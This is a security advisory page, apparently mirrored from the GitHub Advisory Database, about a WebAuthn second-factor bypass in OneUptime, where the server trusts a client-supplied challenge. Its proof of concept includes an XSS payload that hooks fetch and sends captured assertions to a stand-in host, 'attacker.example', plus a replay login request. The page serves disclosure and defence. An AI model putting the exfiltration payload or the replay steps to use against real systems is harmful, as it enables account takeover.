Alta

OneUptime has WebAuthn 2FA bypass: server accepts client-supplied challenge instead of server-stored value, allowing credential replay

  • Publicada: 02.03.2026
  • Actualizado: 11.10.2026 10:22

Summary

The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.

Details

During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.

When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):

ts
// App/FeatureSet/Identity/API/Authentication.ts:1041-1049
} else if (verifyWebAuthn) {
  const expectedChallenge: string = data["challenge"] as string;  // ← client-controlled
  const credential: any = data["credential"];

  await UserWebAuthnService.verifyAuthentication({
    userId: alreadySavedUser.id!.toString(),
    challenge: expectedChallenge,  // ← NOT a server-stored value
    credential: credential,
  });
}

The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):

ts
const verification: any = await verifyAuthenticationResponse({
  response: data.credential,
  expectedChallenge: data.challenge,  // ← client-controlled value used as "expected"
  expectedOrigin: expectedOrigin,
  expectedRPID: Host.toString(),
  credential: { /* public key from DB */ },
});

Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.

Correct flow vs. OneUptime's flow:

Step Correct WebAuthn OneUptime
1. Generate challenge Server generates random challenge Same
2. Store challenge Saved in session/DB Not saved anywhere
3. Send to client Sent to client Same
4. Authenticator signs Authenticator signs challenge Same
5. Client returns Returns signed credential Returns credential + challenge
6. Verify Compares against server-stored value Compares against client-provided value
Result Replay-proof Replayable

PoC

Prerequisites:

  • An attacker has obtained the victim's password (e.g., credential stuffing, phishing)
  • An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)

Steps to reproduce:

  1. Capture a valid WebAuthn assertion. Intercept or extract a legitimate authentication request containing challenge and credential fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):

    js
    // XSS payload to intercept WebAuthn authentication
    const origFetch = window.fetch;
    window.fetch = async function(url, opts) {
      if (url.includes('/verify') && opts?.body) {
        const body = JSON.parse(opts.body);
        if (body.data?.credential) {
          // Exfiltrate the assertion
          navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
            challenge: body.data.challenge,
            credential: body.data.credential
          }));
        }
      }
      return origFetch.apply(this, arguments);
    };
  2. Replay the captured assertion at any later time. Send the following request with the victim's email, password, and the captured challenge + credential:

    http
    POST /api/identity/authentication/login HTTP/1.1
    Content-Type: application/json
    
    {
      "data": {
        "email": "victim@example.com",
        "password": "<victim's password>",
        "challenge": "<captured challenge value>",
        "credential": {
          "id": "<captured credential id>",
          "rawId": "<captured rawId>",
          "response": {
            "authenticatorData": "<captured authenticatorData>",
            "clientDataJSON": "<captured clientDataJSON>",
            "signature": "<captured signature>"
          },
          "type": "public-key",
          "clientExtensionResults": {},
          "authenticatorAttachment": "platform"
        }
      }
    }
  3. Result: The server accepts the authentication. The expectedChallenge (from the request body) matches the challenge in clientDataJSON (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.

    The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.

Impact

WebAuthn 2FA is rendered ineffective. The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.

Who is impacted: Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.

Attack chain potential: This vulnerability can be chained with:

  • Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions
  • Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing
  • User enumeration via differential error messages to identify valid targets

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @oneuptime/common <= 10.0.11 sin corrección

Referencias

Puntuación CVSS 8.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Debilidad (CWE)
CWE-287, CWE-294
Plataforma
npm
Paquete
@oneuptime/common
Publicada
02.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-gjjc-pcwp-c74m - CC BY 4.0

Historial de vulnerabilidades: @oneuptime/common

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (11) en el archivo
Entradas en total
11
Primera → última
11.2025 03.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 6
  • Alta 3
  • Media 2

Divulgaciones por año

  1. 2025: 2
  2. 2026: 9
Gravedad:
  1. Crítica · 9.9 CVE-2026-30957 < 10.0.21 10.0.21
  2. Crítica · 9.9 CVE-2026-30921 < 10.0.20 10.0.20
  3. OneUptime has WebAuthn 2FA bypass: server accepts client-supplied challenge instead of server-stored value, allowing credential replay esta entrada
    Alta · 8.2 CVE-2026-28787 <= 10.0.11 sin corrección
  4. Alta CVE-2025-65966 < 9.1.0 9.1.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.